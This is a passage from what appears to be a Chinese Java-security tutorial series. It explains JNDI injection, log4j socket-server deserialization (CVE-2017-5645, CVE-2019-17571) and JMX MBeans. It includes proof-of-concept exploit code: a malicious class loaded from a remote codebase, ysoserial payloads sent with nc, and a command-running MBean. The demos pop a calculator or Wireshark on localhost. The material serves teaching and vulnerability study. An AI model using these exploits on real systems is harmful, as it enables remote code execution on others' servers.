前两个字节是属性名称索引,再后面四个字节表示属性值的长度,最后一部分就是属性值了,【属性值】所占用的字节就是【属性值的长度】位的值,可以看到属性值是拥有很大的灵活性的,不同属性的差异也主要体现在这里 252 | 253 | 比如,Code属性的格式就是下面这样了: 254 | 255 | ![](class_structure/20210929161945.png) 256 | 257 | 看了这么多表格,可能大家已经晕了,我们还是直接拆分`Axin.class`吧: 258 | 259 | ![](class_structure/20210929164838.png) 260 | 261 | 我这里就只拆分到我关心的code部分,大家如果感兴趣可以继续拆分😂 262 | 263 | 至此,我相信大家对class文件的结构应该有一个大体的认识了吧。 -------------------------------------------------------------------------------- /8.jndi注入.md: -------------------------------------------------------------------------------- 1 | ### 0x01 前言 2 | 3 | 我们在上一章《攻击rmi的方式》中提到了rmi的一大特性——动态类加载。而jndi注入就是利用的动态类加载完成攻击的。在谈jndi注入之前,我们先来看看关于jndi的基础知识 4 | 5 | ### 0x02 jndi是个啥 6 | 7 | jndi的全称为Java Naming and Directory Interface(java命名和目录接口)SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互、如图 8 | 9 | ![](jndi/api.png) 10 | 11 | 上面提到了命名服务与目录服务,他们又是什么呢? 12 | 13 | ##### 命名服务 14 | 命名服务是一种简单的键值对绑定,可以通过键名检索值,RMI就是典型的命名服务 15 | 16 | ##### 目录服务 17 | 18 | 目录服务是命名服务的拓展。它与命名服务的区别在于它可以通过对象属性来检索对象,这么说可能不太好理解,我们举个例子:比如你要在某个学校里里找某个人,那么会通过:年级->班级->姓名这种方式来查找,年级、班级、姓名这些就是某个人的属性,这种层级关系就很像目录关系,所以这种存储对象的方式就叫目录服务。LDAP是典型的目录服务,这个我们暂且还没接触到,后文会提及 19 | 20 | 其实,仔细一琢磨就会感觉其实命名服务与目录服务的本质是一样的,都是通过键来查找对象,只不过目录服务的键要灵活且复杂一点。 21 | 22 | 23 | 在一开始很多人都会被jndi、rmi这些词汇搞的晕头转向,而且很多文章中提到了可以用jndi调用rmi,就更容易让人发昏了。我们只要知道jndi是**对各种访问目录服务的逻辑进行了再封装**,也就是以前我们访问rmi与ldap要写的代码差别很大,但是有了jndi这一层,我们就可以用jndi的方式来轻松访问rmi或者ldap服务,这样访问不同的服务的代码实现基本是一样的。一图胜千言: 24 | 25 | ![](jndi/jndi_spi.png) 26 | 27 | 从图中可以看到jndi在访问rmi时只是传了一个键foo过去,然后rmi服务端返回了一个对象,访问ldap这种目录服务室,传过去的字符串比较复杂,包含了多个键值对,这些键值对就是对象的属性,LDAP将根据这些属性来判断到底返回哪个对象. 28 | 29 | ### 0x03 jndi 代码实现 30 | 31 | 在JNDI中提供了绑定和查找的方法: 32 | - bind:将名称绑定到对象中; 33 | - lookup:通过名字检索执行的对象; 34 | 35 | 下面的demo将演示如何用jndi访问rmi服务: 36 | 37 | 38 | 先实现一个接口 39 | 40 | ```java 41 | import java.rmi.Remote; 42 | import java.rmi.RemoteException; 43 | 44 | public interface IHello extends Remote { 45 | public String sayHello(String name) throws RemoteException; 46 | } 47 | ``` 48 | 49 | 然后创建一个类实现上面的接口,这个类的实例一会将要被绑定到rmi注册表中 50 | 51 | ```java 52 | import java.rmi.RemoteException; 53 | import java.rmi.server.UnicastRemoteObject; 54 | 55 | public class IHelloImpl extends UnicastRemoteObject implements IHello { 56 | protected IHelloImpl() throws RemoteException { 57 | super(); 58 | } 59 | 60 | @Override 61 | public String sayHello(String name) throws RemoteException { 62 | return "Hello " + name; 63 | } 64 | } 65 | ``` 66 | 67 | 上面的都是简单的创建一个远程对象,和之前rmi创建远程对象的要求是一样的,下面我们创建一个类实现对象的绑定,以及远程对象的调用 68 | 69 | ```java 70 | import javax.naming.Context; 71 | import javax.naming.InitialContext; 72 | import java.rmi.registry.LocateRegistry; 73 | import java.rmi.registry.Registry; 74 | import java.util.Properties; 75 | 76 | public class CallService { 77 | public static void main(String[] args) throws Exception{ 78 | 79 | //配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常 80 | Properties env = new Properties(); 81 | env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); 82 | env.put(Context.PROVIDER_URL, "rmi://localhost:1099"); 83 | 84 | // 创建初始化环境 85 | Context ctx = new InitialContext(env); 86 | 87 | // 创建一个rmi映射表 88 | Registry registry = LocateRegistry.createRegistry(1099); 89 | // 创建一个对象 90 | IHello hello = new IHelloImpl(); 91 | // 将对象绑定到rmi注册表 92 | registry.bind("hello", hello); 93 | 94 | // jndi的方式获取远程对象 95 | IHello rhello = (IHello) ctx.lookup("rmi://localhost:1099/hello"); 96 | // 调用远程对象的方法 97 | System.out.println(rhello.sayHello("axin")); 98 | } 99 | } 100 | ``` 101 | 102 | 成功调用远程对象的sayHello方法 103 | 104 | ![](jndi/demo.png) 105 | 106 | 由于上面的代码将服务端与客户端写到了一起,所以看着不那么清晰,我看到很多文章里吧JNDI工厂初始化这一步操作划分到了服务端,我觉得是错误的,配置jndi工厂与jndi的url和端口应该是客户端的事情。 107 | 108 | > ps:可以对比一下前几章的rmi demo与这里的jndi demo访问远程对象的区别,加深理解 109 | 110 | 111 | ### 0x04 JNDI动态协议转换 112 | 113 | 我们上面的demo提前配置了jndi的初始化环境,还配置了Context.PROVIDER_URL,这个属性指定了到哪里加载本地没有的类,所以,上面的demo中 114 | `ctk.lookup("rmi://localhost:1099/hello")`这一处代码改为`ctk.lookup("hello")`也是没啥问题的。 115 | 116 | 那么动态协议转换是个什么意思呢?其实就是说即使提前配置了Context.PROVIDER_URL属性,当我们调用lookup()方法时,如果lookup方法的参数像demo中那样是一个uri地址,那么客户端就会去lookup()方法参数指定的uri中加载远程对象,而不是去Context.PROVIDER_URL设置的地址去加载对象(如果感兴趣可以跟一下源码,可以看到具体的实现)。 117 | 118 | 正是因为有这个特性,才导致当lookup()方法的参数可控时,攻击者可以通过提供一个恶意的url地址来控制受害者加载攻击者指定的恶意类。 119 | 120 | 但是你以为直接让受害者去攻击者指定的rmi注册表加载一个类回来就能完成攻击吗,是不行的,因为受害者本地没有攻击者提供的类的class文件,所以是调用不了方法的,所以我们需要借助接下来要提到的东西 121 | 122 | 123 | ### 0x05 JNDI Naming Reference 124 | 125 | Reference类表示对存在于命名/目录系统以外的对象的引用。如果远程获取 RMI 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。 126 | 127 | Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。 128 | 129 | 在使用Reference时,我们可以直接将对象传入构造方法中,当被调用时,对象的方法就会被触发,创建Reference实例时几个比较关键的属性: 130 | 131 | - className:远程加载时所使用的类名; 132 | - classFactory:加载的class中需要实例化类的名称; 133 | - classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议; 134 | 135 | 当然,要把一个对象绑定到rmi注册表中,这个对象需要继承UnicastRemoteObject,但是Reference没有继承它,所以我们还需要封装一下它,用 ReferenceWrapper 包裹一下Reference实例对象,这样就可以将其绑定到rmi注册表,并被远程访问到了,demo如下: 136 | 137 | ```java 138 | // 第一个参数是远程加载时所使用的类名, 第二个参数是要加载的类的完整类名(这两个参数可能有点让人难以琢磨,往下看你就明白了),第三个参数就是远程class文件存放的地址了 139 | Reference refObj = new Reference("refClassName", "insClassName", "http://axin.com:6666/"); 140 | ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj); 141 | registry.bind("refObj", refObjWrapper); 142 | ``` 143 | 144 | 当有客户端通过lookup("refObj")获取远程对象时,获取的是一个Reference存根(Stub),由于是Reference的存根,所以客户端会现在本地的classpath中去检查是否存在类refClassName,如果不存在则去指定的url(http://axin.com:6666/refClassName.class)动态加载,并且调用insClassName的**无参构造函数**,所以可以在构造函数里写恶意代码。当然除了在无参构造函数中写利用代码,还可以利用java的static代码块来写恶意代码,因为static代码块的代码在class文件被加载过后就会立即执行,且只执行一次。 145 | 146 | 了解更多关于static代码块,参考:https://www.cnblogs.com/panjun-donet/archive/2010/08/10/1796209.html 147 | 148 | ### 0x06 JNDI注入 149 | 150 | 151 | ##### jndi注入原理 152 | 153 | 就是将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行 154 | 155 | ![](jndi/jndi_inj.png) 156 | 157 | 158 | ##### jndi注入的利用条件 159 | 160 | - 客户端的lookup()方法的参数可控 161 | - 服务端在使用Reference时,classFactoryLocation参数可控~ 162 | 163 | 上面两个都是在编写程序时可能存在的脆弱点(任意一个满足就行),除此之外,jdk版本在jndi注入中也起着至关重要的作用,而且不同的攻击响亮对jdk的版本要求也不一致,这里就全部列出来: 164 | 165 | 166 | - JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。 167 | 168 | - JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。 169 | 170 | - JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。 171 | 172 | 173 | ##### jndi注入 demo 174 | 175 | - 创建一个恶意对象 176 | 177 | ```java 178 | import javax.lang.model.element.Name; 179 | import javax.naming.Context; 180 | import java.io.BufferedInputStream; 181 | import java.io.BufferedReader; 182 | import java.io.IOException; 183 | import java.io.InputStreamReader; 184 | import java.util.HashMap; 185 | 186 | public class EvilObj { 187 | public static void exec(String cmd) throws IOException { 188 | String sb = ""; 189 | BufferedInputStream bufferedInputStream = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream()); 190 | BufferedReader inBr = new BufferedReader(new InputStreamReader(bufferedInputStream)); 191 | String lineStr; 192 | while((lineStr = inBr.readLine()) != null){ 193 | sb += lineStr+"\n"; 194 | 195 | } 196 | inBr.close(); 197 | inBr.close(); 198 | } 199 | 200 | public Object getObjectInstance(Object obj, Name name, Context context, HashMap environment) throws Exception{ 201 | return null; 202 | } 203 | 204 | static { 205 | try{ 206 | exec("gnome-calculator"); 207 | }catch (Exception e){ 208 | e.printStackTrace(); 209 | } 210 | } 211 | } 212 | ``` 213 | 214 | 可以看到这里利用的是static代码块执行命令 215 | 216 | - 创建rmi服务端,绑定恶意的Reference到rmi注册表 217 | 218 | ```java 219 | import com.sun.jndi.rmi.registry.ReferenceWrapper; 220 | 221 | import javax.naming.NamingException; 222 | import javax.naming.Reference; 223 | import java.rmi.AlreadyBoundException; 224 | import java.rmi.RemoteException; 225 | import java.rmi.registry.LocateRegistry; 226 | import java.rmi.registry.Registry; 227 | 228 | public class Server { 229 | public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { 230 | Registry registry = LocateRegistry.createRegistry(1099); 231 | String url = "http://127.0.0.1:6666/"; 232 | System.out.println("Create RMI registry on port 1099"); 233 | Reference reference = new Reference("EvilObj", "EvilObj", url); 234 | ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); 235 | registry.bind("evil", referenceWrapper); 236 | } 237 | 238 | } 239 | ``` 240 | 241 | - 创建一个客户端(受害者) 242 | 243 | ```java 244 | import javax.naming.Context; 245 | import javax.naming.InitialContext; 246 | import javax.naming.NamingException; 247 | 248 | public class Client { 249 | public static void main(String[] args) throws NamingException { 250 | Context context = new InitialContext(); 251 | context.lookup("rmi://localhost:1099/evil"); 252 | } 253 | } 254 | ``` 255 | 256 | 可以看到这里的lookup方法的参数是指向我设定的恶意rmi地址的。 257 | 258 | 259 | 然后先编译该项目,生成class文件,然后在class文件目录下用python启动一个简单的HTTP Server: 260 | 261 | `python -m SimpleHTTPServer 6666` 262 | 263 | 执行上述命令就会在6666端口、当前目录下运行一个HTTP Server: 264 | 265 | ![](jndi/http.png) 266 | 267 | 268 | 然后运行Server端,启动rmi registry服务 269 | 270 | ![](jndi/server.png) 271 | 272 | 最后运行客户端(受害者): 273 | 274 | ![](jndi/client.png) 275 | 276 | 成功弹出计算器。注意,我这里用到的jdk版本为jdk1.7.0_80,下面是rmi动态调用的一个流程 277 | 278 | ![](jndi/rmi_codebase.png) 279 | 280 | 281 | ### 0x07 其他 282 | 283 | 放一些参考文章: 284 | 285 | https://wulidecade.cn/2019/03/25/%E6%B5%85%E8%B0%88JNDI%E6%B3%A8%E5%85%A5%E4%B8%8Ejava%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/ 286 | 287 | https://www.mi1k7ea.com/2019/09/15/%E6%B5%85%E6%9E%90JNDI%E6%B3%A8%E5%85%A5/ 288 | 289 | https://xz.aliyun.com/t/6633#toc-5 290 | 291 | https://paper.seebug.org/417/ 292 | 293 | https://security.tencent.com/index.php/blog/msg/131 294 | 295 | 下一章,我们来看一下fastjson的反序列化,其中就会利用到jndi这一攻击手法 296 | 297 | 298 | 299 | -------------------------------------------------------------------------------- /4.log4j的反序列化.md: -------------------------------------------------------------------------------- 1 | ### 0x01 前言 2 | 3 | 最近不是爆出了一个log4j的反序列化吗,巧的是我正好在总结java反序列化的知识,其实一开始是没太关注这个漏洞的,毕竟,log4j只是一个组件,即使有反序列化的触发点,没有pop gadgets也不能利用,不像各大中间件的反序列化,自带的类库中有各种各样的pop链可以利用,找到触发点就可以直接打~ 4 | 5 | 但是,那天在群里聊天: 6 | a师傅:CVE-2019-17571漏洞通报链接,群里有没有人复现了这个漏洞? 7 | b师傅:最新的?又反序列化了? 8 | c师傅:不会放出exp的,exp应该只有实验室的人有 9 | d师傅:有分析文章出来了,poc也就不远了~ 10 | 11 | 看到大师傅们的交流,我就想试着自己分析分析,顺便挖挖log4j中有没有自带的pop gadgets可以利用,由于之前没有分析过log4j的反序列化,在查阅资料的过程中得知log4j还有一个反序列化漏洞CVE-2017-5645,这里就顺带一起分析了吧。 12 | 13 | ### 0x02 CVE-2017-5645 14 | 15 | #### 复现 16 | 17 | 复现环境: 18 | - jdk1.7 19 | - log4j 2.8 (下载地址:https://logging.apache.org/log4j/log4j-2.8/download.html) 20 | - commons-collections 3.1 21 | - jcommander-1.48.jar 22 | 23 | 复现步骤: 24 | 25 | 下载完log4j 2.8过后会有一大堆的jar文件,jcommander-1.48.jar与commons-collections.jar需要单独下载,jcommander如果没有会导致有些类找不到,把所有jar放到与log4j的jar文件同一目录下,然后在该目录下执行以下命令,开启log4j监听: 26 | 27 | `java -cp log4j-core-2.8.jar:log4j-api-2.8.jar:jcommander-1.48.jar:commons-collections-3.1.jar org.apache.logging.log4j.core.net.server.TcpSocketServer -p 7777` 28 | 29 | 然后利用ysoserial生成一个反序列化的payload 30 | 31 | `java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections1 "wireshark" > commons1.ser` 32 | 33 | 然后直接利用nc发送payload: 34 | 35 | `nc 127.0.0.1 7777 < commons1.ser` 36 | 37 | 成功弹出wireshark: 38 | 39 | ![](log4j_unser/wireshark.png) 40 | 41 | 到头来还是利用的commons-collections的pop链利用漏洞 42 | 43 | #### 调试分析 44 | 45 | 为了方便调试,我创建一个idea工程 46 | 47 | ![](log4j_unser/idea.png) 48 | 49 | 将我们需要的几个jar包添加到lib中,然后创建一个类,这个类的代码如图所示很简单,就只是调用`TcpSocketServer.main()`而已,然后我们运行这个Main类,然后下断点就可以调试了,当然,我们也可以采用idea远程调试的方式。我们先来看一看TcpSocketServer的main方法 50 | 51 | ```java 52 | public static void main(final String[] args) throws Exception { 53 | final CommandLineArguments cla = BasicCommandLineArguments.parseCommandLine(args, TcpSocketServer.class, new CommandLineArguments()); 54 | if (cla.isHelp()) { 55 | return; 56 | } 57 | if (cla.getConfigLocation() != null) { 58 | ConfigurationFactory.setConfigurationFactory(new ServerConfigurationFactory(cla.getConfigLocation())); 59 | } 60 | final TcpSocketServer socketServer = TcpSocketServer 61 | .createSerializedSocketServer(cla.getPort(), cla.getBacklog(), cla.getLocalBindAddress()); 62 | final Thread serverThread = socketServer.startNewThread(); 63 | if (cla.isInteractive()) { 64 | socketServer.awaitTermination(serverThread); 65 | } 66 | } 67 | ``` 68 | 69 | BasicCommandLineArguments这个类一看名字就是负责解析命令行参数的,我们不多关注了,直接看createSerializedSocketServer()方法,看起来是创建了一个网络监听,跟进去: 70 | 71 | ```java 72 | public static TcpSocketServer createSerializedSocketServer(final int port, final int backlog, 73 | final InetAddress localBindAddress) throws IOException { 74 | LOGGER.entry(port); 75 | final TcpSocketServer socketServer = new TcpSocketServer<>(port, backlog, localBindAddress, 76 | new ObjectInputStreamLogEventBridge()); 77 | return LOGGER.exit(socketServer); 78 | } 79 | ``` 80 | 81 | 这里创建了一个TcpSocketServer实例,并且用`LOGGER.exit`的方式返回,`LOGGER.exit`的功能就是对日志做些操作,然后仍然返回传进来的对象,所以这里相当于就是放回了socketServer,我们看看socketServer怎么来的,跟进TcpSocketServer的构造函数,这里调用的构造函数是这一个(TcpSocketServer类有多个重载的构造函数): 82 | 83 | ```java 84 | public TcpSocketServer(final int port, final LogEventBridge logEventInput) throws IOException { 85 | this(port, logEventInput, extracted(port)); 86 | } 87 | ``` 88 | 89 | 这个构造函数又调用了另外一个构造函数: 90 | 91 | ```java 92 | public TcpSocketServer(final int port, final LogEventBridge logEventInput, final ServerSocket serverSocket) 93 | throws IOException { 94 | super(port, logEventInput); 95 | this.serverSocket = serverSocket; 96 | } 97 | ``` 98 | 99 | 这里需要注意这几个参数的值,`serverSocket= extracted(port), logEventInput=(new ObjectInputStreamLogEventBridge())` 100 | 101 | 先看extracted方法: 102 | ```java 103 | private static ServerSocket extracted(final int port) throws IOException { 104 | return new ServerSocket(port); 105 | } 106 | ``` 107 | 看到上面的代码,大家应该也都猜到了,就是根据端口创建了一个socket,就不细看代码了。然后来看一下ObjectInputStreamLogEventBridge类,这个类代码不多,我就全部贴出来了: 108 | 109 | ```java 110 | public class ObjectInputStreamLogEventBridge extends AbstractLogEventBridge { 111 | public ObjectInputStreamLogEventBridge() { 112 | } 113 | 114 | public void logEvents(ObjectInputStream inputStream, LogEventListener logEventListener) throws IOException { 115 | try { 116 | logEventListener.log((LogEvent)inputStream.readObject()); 117 | } catch (ClassNotFoundException var4) { 118 | throw new IOException(var4); 119 | } 120 | } 121 | 122 | public ObjectInputStream wrapStream(InputStream inputStream) throws IOException { 123 | return new ObjectInputStream(inputStream); 124 | } 125 | } 126 | ``` 127 | 构造函数啥都没有,但是logEvents方法中有我们感兴趣的readObject方法,如果inputStream可控,那么这里就是反序列化的触发点了,这里不多说,先按照我们前面的思路跟代码,一会儿我们就会邂逅它的,现在回到TcpSocketServer的构造函数,里面调用了`super(port, logEventInput)`,这里调用了父类的构造方法: 128 | 129 | ```java 130 | public AbstractSocketServer(int port, LogEventBridge logEventInput) { 131 | this.logger = LogManager.getLogger(this.getClass().getName() + '.' + port); 132 | this.logEventInput = (LogEventBridge)Objects.requireNonNull(logEventInput, "LogEventInput"); 133 | } 134 | ``` 135 | 136 | 感觉没啥特别的了,就是简单的赋值。然后我们回到TcpSocketServer的main方法,继续往下走,调用了`socketServer.startNewThread()`,别说了,直接跟进去: 137 | 138 | ```java 139 | public Thread startNewThread() { 140 | Thread thread = new Log4jThread(this); 141 | thread.start(); 142 | return thread; 143 | } 144 | ``` 145 | 146 | 这个startNewThread是继承自父类AbstractSocketServer的一个方法,可以看到这里创建了一个线程,在java中使用多线程,当调用线程的start方法时就会调用对应任务的run方法(想要使用子线程运行的类都要实现一个Runnable接口,要实现run方法) 147 | 148 | 关于java多线程参考:https://www.runoob.com/java/java-multithreading.html 149 | 150 | 而这里多线程的任务程序是this,this此时是指向的TcpSocketServer对象,所以就会调用TcpSocketServer的run方法,我们看下run方法的实现: 151 | 152 | ```java 153 | public void run() { 154 | final EntryMessage entry = logger.traceEntry(); 155 | while (isActive()) { 156 | if (serverSocket.isClosed()) { 157 | return; 158 | } 159 | try { 160 | 161 | final Socket clientSocket = serverSocket.accept(); 162 | clientSocket.setSoLinger(true, 0) 163 | final SocketHandler handler = new SocketHandler(clientSocket); 164 | handlers.put(Long.valueOf(handler.getId()), handler); 165 | handler.start(); 166 | } catch (final IOException e) { 167 | xxxx 168 | } 169 | } 170 | xxxxxx 171 | } 172 | ``` 173 | 代码经过精简,保留了重要部分,可见显示调用了serverSocket的accept方法,这个方法没啥影响,最后返回的还是一个socket,我们也就不深入探索了,接着用clientSocket实例化了SocketHandler类,我们看一下这个类的构造函数: 174 | 175 | ```java 176 | public SocketHandler(final Socket socket) throws IOException { 177 | this.inputStream = logEventInput.wrapStream(socket.getInputStream()); 178 | } 179 | ``` 180 | 181 | 值得一提的是SocketHandler类是TcpSocketServer类的内部类,所以这里的logEventIuput的值就是(new ObjectInputStreamLogEventBridge()),这里调用了它的warpStream方法: 182 | 183 | ```java 184 | public ObjectInputStream wrapStream(InputStream inputStream) throws IOException { 185 | return new ObjectInputStream(inputStream); 186 | } 187 | ``` 188 | 189 | 就是把socket连接传过来的数据流作为包装成ObjectInputStream,现在`this.inputStream`就是一个来自用户输入的ObjectInputStream流了。回到TcpSocketServer的run方法,继续往下,执行了`handler.start()`而handler是SocketHandler类的实例,这个类继承自Log4jThread,Log4jThread又继承自Thread类,所以他是一个自定义的线程类,自定义的线程类有个特点,那就是必须重写run方法,而且当调用自定义线程类的start()方法时,会自动调用它的run()方法,而SocketHandler的run方法如下: 190 | 191 | ```java 192 | public void run() { 193 | final EntryMessage entry = logger.traceEntry(); 194 | boolean closed = false; 195 | try { 196 | try { 197 | while (!shutdown) { 198 | logEventInput.logEvents(inputStream, TcpSocketServer.this); 199 | } 200 | } catch (final EOFException e) { 201 | closed = true; 202 | } catch (final OptionalDataException e) { 203 | logger.error("OptionalDataException eof=" + e.eof + " length=" + e.length, e); 204 | } catch (final IOException e) { 205 | logger.error("IOException encountered while reading from socket", e); 206 | } 207 | if (!closed) { 208 | Closer.closeSilently(inputStream); 209 | } 210 | } finally { 211 | handlers.remove(Long.valueOf(getId())); 212 | } 213 | logger.traceExit(entry); 214 | } 215 | ``` 216 | 217 | 变量shutdown的值默认为false,所以进入while循环,这里执行了`logEventInput.logEvents(inputStream, TcpSocketServer.this)`,而logEvents方法就是我们之前提到的调用了readObject方法的那个,如下: 218 | 219 | ```java 220 | public void logEvents(ObjectInputStream inputStream, LogEventListener logEventListener) throws IOException { 221 | try { 222 | logEventListener.log((LogEvent)inputStream.readObject()); 223 | } catch (ClassNotFoundException var4) { 224 | throw new IOException(var4); 225 | } 226 | } 227 | ``` 228 | 229 | inputStream就是被封装成ObjectInputStream流的、我们通过tcp发送的数据。所以只要log4j的tcpsocketserver端口对外开放,且目标存在可利用的pop链,我们就可以通过tcp直接发送恶意的序列化payload实现RCE。 230 | 231 | ### 0x03 CVE-2019-17571 232 | 233 | 如果你理解了上面的原理,那么理解这次的漏洞就很简单了,感觉就像是为了凑kpi而挖的洞... 234 | 235 | 这次的触发点readObject方法在SocketNode的run方法中被调用: 236 | 237 | ![](log4j_unser/socketnode.png) 238 | 239 | 那么这次的run方法又会在哪里被调用呢?在SocketServer的main方法里.... 240 | 241 | ![](log4j_unser/main.png) 242 | 243 | 这里依然通过调用线程类的start方法调用目标的run方法....是不是感觉和之前的漏洞如出一辙?最后还是用commons-collections 3.1攻击链弹个wireshark: 244 | 245 | - 在idea中添加对应的类包:log4j-1.2.5.jar \ commons-collections.jar 246 | - 创建一个log4j配置文件 247 | - 创建一个类,这个类调用SocketServer的main方法,这次的main的参数与上一个漏洞有点不一样: 248 | 249 | ![](log4j_unser/wireshark2.png) 250 | 251 | 三个参数分别为:监听的端口,配置文件,一个目录(我也没管这个目录是干啥的,随便提供了一个目录) 252 | 253 | 配置文件随便在网上找一个都行,符合log4j配置文件格式就行。 254 | 255 | - 运行这个类,就会监听对应端口 256 | - 然后还是用nc发送我们的payload,弹出wireshark 257 | 258 | ![](log4j_unser/wireshark3.png) 259 | 260 | 261 | ### 其他 262 | 263 | 在分析这个漏洞之前,我就在想什么情况下可以利用这个漏洞呢?log4j不是一个日志组件吗?啥时候会用来监听端口?原来是在用log4j搭建日志服务器集中管理日志的时候会用到socketserver这种机制,一篇参考:https://blog.csdn.net/zhangchaoyi1a2b/article/details/77510138 264 | 265 | 另一篇其他的参考:https://blog.csdn.net/hongweigg/article/details/53464639 266 | 267 | 我试着挖过log4j自带的类中的pop链,但是没有找到可利用的,所以这个漏洞需要配和着其他存在pop gadgets的类库才能实施攻击,感觉就差点意思~ 268 | 269 | -------------------------------------------------------------------------------- /10.jmx安全问题.md: -------------------------------------------------------------------------------- 1 | ### 前言 2 | 这一章我们来说说JMX的安全问题把,内容相对来说比较简单,当然,我们还是回给出几个相关的案例 3 | 4 | ### JMX简介 5 | 6 | JMX(Java Management Extensions,即Java管理扩展)是一个为应用程序、设备、系统等植入管理功能的框架。狭隘的理解,我们**可以通过JMX管理、监视我们的java程序**。但是不是所有java程序都能被管理,只有通过特定实现的java才能够被管理,这种特定实现机制就是Mbean。 7 | 8 | 如上所属,利用JMX我们可以控制服务端的特定java程序,具体能够控制哪些java程序,又是如何控制的呢?我们还是用一些小demo来说明。能够被JMX控制的一种java程序被叫做MBean。接下来我们实现一个MBean 9 | 10 | ### MBean 编写与控制 11 | 12 | 每一个MBean都需要实现一个接口,而且这个接口的命名是有讲究的,必须以MBean结尾,例如我将编写一个GirlFriendMBean接口: 13 | 14 | ```java 15 | import javax.management.DynamicMBean; 16 | 17 | public interface GirlFriendMBean { 18 | String name = ""; 19 | public void setName(String name); 20 | public String getName(); 21 | public void sayHello(); 22 | } 23 | 24 | ``` 25 | 26 | 然后我们需要实现这个MBean,同样的,这个实现的命名也是有讲究的,那就是去掉对应接口的的MBean后缀: 27 | 28 | ```java 29 | import javax.management.DynamicMBean; 30 | 31 | public class GirlFriend implements GirlFriendMBean{ 32 | String name; 33 | 34 | public GirlFriend(String name) { 35 | this.name = name; 36 | } 37 | 38 | public GirlFriend(){ 39 | this.name = "Angel"; 40 | } 41 | @Override 42 | public void setName(String name) { 43 | this.name = name; 44 | } 45 | 46 | @Override 47 | public String getName() { 48 | return this.name; 49 | } 50 | 51 | @Override 52 | public void sayHello() { 53 | System.out.println("Hello sweet, I am yours"); 54 | } 55 | } 56 | 57 | ``` 58 | 59 | 现在实现了MBean,要想他们能够被远程的客户端控制访问,还需要将其绑定到MBeanServer上,具体实现代码如下: 60 | 61 | ```java 62 | import javax.management.*; 63 | import javax.management.remote.JMXConnectorServer; 64 | import javax.management.remote.JMXConnectorServerFactory; 65 | import javax.management.remote.JMXServiceURL; 66 | import java.io.IOException; 67 | import java.lang.management.ManagementFactory; 68 | import java.rmi.registry.LocateRegistry; 69 | import java.rmi.registry.Registry; 70 | 71 | public class Server { 72 | public static void main(String[] args) throws MalformedObjectNameException, NotCompliantMBeanException, InstanceAlreadyExistsException, MBeanRegistrationException, IOException { 73 | MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer(); 74 | System.out.println("Register bean..."); 75 | // 实例化一个MBean 76 | GirlFriendMBean girlFriend = new GirlFriend(); 77 | ObjectName objectName = new ObjectName("JMXGirl:name=girlFriend"); 78 | // 绑定到MBeanServer 79 | mBeanServer.registerMBean(girlFriend, objectName); 80 | // 创建一个rmi registry 81 | Registry registry = LocateRegistry.createRegistry(1099); 82 | // 构造JMXServiceURL 83 | JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi"); 84 | // 构造JMXConnectorServer 85 | JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer); 86 | jmxConnectorServer.start(); 87 | System.out.println("JMXConnectorServer is ready..."); 88 | } 89 | } 90 | 91 | ``` 92 | 93 | 运行Server: 94 | 95 | ![](jmx/server1.png) 96 | 97 | 然后我们可以用jdk中自带的jconsole工具访问jmx server,在jdk的bin目录下,运行jconsole,天上地址localhost:1099就可以直接访问到了,可以看到我们实现的JMXGril 98 | 99 | ![](jmx/jconsole.png) 100 | 101 | 我们可以使用jconsole调用JMXGirl的方法,也可以设置其属性,我调用它的sayHello方法,效果如下: 102 | 103 | ![](jmx/sayhello.png) 104 | 105 | ### 远程MBean注册 106 | 107 | 上面的的demo展示的是MBean与JMX Server在同一主机上,jmx还提供了一种机制,可以将其他主机上的MBean绑定到别的MBean Server上,着需要用到另外一个文件mlet。我们一起来看一下实现方法把: 108 | 109 | 注: 以下代码引用自 https://www.anquanke.com/post/id/194126 110 | 111 | ```java 112 | public interface PayloadMBean { 113 | 114 | public String runCmd(String cmd) throws IOException, InterruptedException; 115 | 116 | } 117 | public class Payload implements PayloadMBean { 118 | 119 | @Override 120 | 121 | public String runCmd(String cmd) throws IOException, InterruptedException { 122 | 123 | 124 | 125 | Runtime runtime = Runtime.getRuntime(); 126 | 127 | Process process = runtime.exec(cmd); 128 | 129 | BufferedReader stdInput = new BufferedReader(new 